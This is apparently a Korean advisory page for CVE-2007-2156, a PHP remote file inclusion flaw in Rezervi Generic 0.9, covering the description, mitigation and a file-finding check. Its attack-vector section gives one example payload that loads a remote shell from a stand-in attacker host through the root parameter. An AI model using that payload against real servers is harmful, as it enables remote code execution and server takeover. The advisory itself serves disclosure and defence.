🔍 CVE-2007-2156

7.5
CVSS Score
HIGH
2007-04-19
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

Rezervi Generic 0.9의 PHP 원격 파일 포함(RFI) 취약점으로, 공격자가 root 매개변수를 조작하여 원격 PHP 파일을 로드하고 서버에서 임의 코드를 실행할 수 있습니다. templates/ 및 belegungsplan/ 디렉토리의 8개 PHP 파일이 영향을 받습니다.

💡 쉬운 설명

웹 애플리케이션이 사용자 입력을 검증하지 않고 외부 파일을 로드하는 보안 결함입니다. 공격자는 악의적인 파일을 원격 서버에서 로드하여 서버를 완전히 장악할 수 있습니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in Rezervi Generic 0.9 allow remote attackers to execute arbitrary PHP code via a URL in the root parameter to (1) datumVonDatumBis.inc.php, (2) footer.inc.php, (3) header.inc.php, and (4) stylesheets.php in templates/; and (5) wochenuebersicht.inc.php, (6) monatsuebersicht.inc.php, (7) jahresuebersicht.inc.php, and (8) tagesuebersicht.inc.php in belegungsplan/.

📍 영향받는 시스템

Rezervi Generic 버전 0.9 및 이전 버전

⚔️ 공격 벡터

root 매개변수에 원격 PHP 파일 URL을 삽입하여 임의 PHP 코드 실행 (예: ?root=http://attacker.com/shell.php)

🛡️ 대응 방법

소프트웨어 업그레이드, 또는 root 매개변수 입력값 검증 및 원격 파일 로드 비활성화

🔧 검증 코드

취약한 파일이 발견되면 경로가 출력되며, 출력이 없으면 해당 버전이 설치되어 있지 않습니다.

Shell / Script
find /var/www -path '*/belegungsplan/*.inc.php' -o -path '*/templates/*.inc.php' 2>/dev/null | head -1

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP